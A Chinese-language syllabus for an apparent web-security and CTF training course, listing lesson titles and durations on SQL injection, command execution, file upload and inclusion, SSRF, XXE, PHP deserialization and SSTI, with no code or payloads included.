第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动化解题22'45 课时9:Sqlmap自动化注入工具介绍23'47 课时10:Sqlmap自动化注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户端检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列化和反序列化介绍15'49 课时2:PHP反序列化识别与利用14'22 课时3:PHP序列化特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列化漏洞案例 - 任意命令执行05'53 课时6:Phar反序列化10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动化检测13'23 课时4:7.4-Python-SQL自动化检测07'59 课时5:7.5-Python 源码泄露自动化挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值